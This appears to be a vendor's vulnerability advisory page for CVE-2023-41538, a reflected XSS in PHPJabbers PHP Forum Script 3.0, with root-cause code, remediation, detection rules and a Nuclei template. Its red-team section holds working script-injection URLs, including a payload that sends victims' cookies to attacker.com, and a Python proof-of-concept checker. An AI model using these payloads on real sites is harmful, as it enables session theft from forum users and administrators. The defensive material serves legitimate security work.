CVE-2023-41538
Executive Summary
CVE-2023-41538 identifies a reflected Cross-Site Scripting (XSS) vulnerability in PHPJabbers PHP Forum Script version 3.0. The flaw exists in the preview.php endpoint, where the keyword parameter is not properly sanitized before being reflected in the HTML response. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads in the keyword parameter. When a victim (such as a forum administrator) clicks the link, the script executes in their browser context, potentially leading to session theft, defacement, or redirection to malicious sites. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, indicating active exploitation risk. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present beyond the direct use of the vulnerable script.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click the crafted link.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session cookies).
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the public availability of PoC code and the lack of a patch increase the risk.
Deep Dive & Mechanics
The vulnerability resides in the preview.php script, specifically in the search functionality. The application uses the keyword GET parameter to filter forum posts. The parameter value is reflected directly into the HTML output without proper encoding or sanitization.
Root Cause: The application fails to escape HTML entities in the keyword parameter before rendering it in the response. This allows an attacker to break out of the HTML context and inject arbitrary JavaScript.
Attack Flow:
- An attacker crafts a URL:
http://target/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script> - The attacker sends this link to a victim (e.g., via email or social engineering).
- The victim clicks the link while authenticated to the forum.
- The server processes the request and reflects the
keywordvalue in the HTML response. - The browser interprets the injected
<script>tag and executes the JavaScript payload. - The payload can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Affected Component: preview.php – the search results page.
Vulnerable vs. Patched Code
Vulnerable Code (PHPJabbers PHP Forum Script 3.0):
// preview.php (simplified vulnerable snippet)
$keyword = $_GET['keyword'];
// ... database query ...
echo "<div class='search-result'>Search results for: " . $keyword . "</div>";
Patched Code (Hypothetical fix):
// preview.php (patched version)
$keyword = htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');
// ... database query ...
echo "<div class='search-result'>Search results for: " . $keyword . "</div>";
The fix uses htmlspecialchars() to encode special HTML characters (<, >, ", &), preventing script injection. Since no official patch exists, this is the recommended remediation.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running PHPJabbers PHP Forum Script 3.0.
- No authentication required for the vulnerable endpoint.
Exploitation Steps:
- Identify the target URL:
http://target/preview.php - Craft a malicious URL with a JavaScript payload:
http://target/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.cookie)</script> - Send the link to a victim (e.g., forum admin).
- When the victim clicks, the script executes, and the attacker can capture cookies via a webhook:
http://target/preview.php?keyword=%22><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
PoC Code (Python):
import requests
target = "http://target/preview.php"
payload = "%22><script>alert(document.domain)</script>"
params = {
"controller": "pjLoad",
"action": "pjActionIndex",
"question_search": "1",
"pjPage": "1",
"column": "created",
"direction": "DESC",
"keyword": payload
}
response = requests.get(target, params=params)
if payload in response.text:
print("[+] XSS confirmed")
else:
print("[-] XSS not detected")
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
preview.phpcontainingkeyword=followed by<script>oronerror=patterns. - Use WAF rules to block requests with suspicious
keywordparameters.
Hunting:
- Search for URLs in logs matching:
preview.php?*keyword=*<script - Check for outbound connections from the web server to unknown domains (potential cookie exfiltration).
Mitigation:
- Apply input validation and output encoding (see Remediation section).
- Restrict access to
preview.phpto authenticated users only if possible.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/preview.phpwithkeywordparameter containing<script>tags. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com/steal).
- HTTP GET requests to
- File IOCs:
- Modified
preview.phpfile (if attacker uploads a backdoor).
- Modified
- Log IOCs:
- Web server logs showing
keyword=%22><script>patterns. - Unusual 200 responses to
preview.phpwith largekeywordvalues.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2023_41538_XSS_Keyword {
meta:
description = "Detects XSS attempts targeting CVE-2023-41538 in PHPJabbers Forum Script"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-41538"
strings:
$xss_payload = /keyword=%22><script[^>]*>/
$xss_onerror = /keyword=.*onerror=/
$xss_alert = /keyword=.*alert\(/
condition:
any of them
}
Sigma Rule
title: CVE-2023-41538 XSS Attempt via keyword Parameter
id: 3a1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against PHPJabbers PHP Forum Script 3.0
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- "keyword=%22><script"
- "keyword=*<script"
- "keyword=*onerror="
condition: selection
falsepositives:
- Legitimate search queries containing similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-41538 XSS Attempt - PHPJabbers Forum Script"; flow:to_server,established; content:"GET"; http_method; content:"/preview.php"; http_uri; content:"keyword="; http_uri; pcre:"/keyword=%22><script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-41538
info:
name: PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the keyword parameter in search functionality, potentially stealing forum administrator session cookies and accessing sensitive forum discussions.
remediation: |
Update PHPJabbers PHP Forum Script to a version newer than 3.0 that properly sanitizes the keyword parameter and encodes output in preview.php.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Forum-Script-3.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-41538
- https://github.com/2lambda123/Windows10Exploits
- https://github.com/codeb0ss/CVE-2023-41538-PoC
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-41538
cwe-id: CWE-79
epss-score: 0.1533
epss-percentile: 0.94659
cpe: cpe:2.3:a:phpjabbers:php_forum_script:3.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: phpjabbers
product: php_forum_script
tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln
http:
- method: GET
path:
- "{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script>"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "New Question", "><script>alert(document.domain)</script>")'
condition: and
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
keywordparameter usinghtmlspecialchars()or equivalent. - Output Encoding: Encode all user-supplied data before rendering in HTML.
- WAF Rules: Deploy web application firewall rules to block XSS payloads in the
keywordparameter. - Content Security Policy (CSP): Implement a strict CSP to mitigate script execution.
Long-Term Fix:
- Upgrade to a patched version of PHPJabbers PHP Forum Script (if available).
- If no patch exists, consider migrating to a supported forum software.
Workaround:
- Disable the search functionality or restrict access to
preview.phpto authenticated users only.
Valters IT
{/* [Security Hash: F281CCFF0946B5FD8A3CC1BF] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.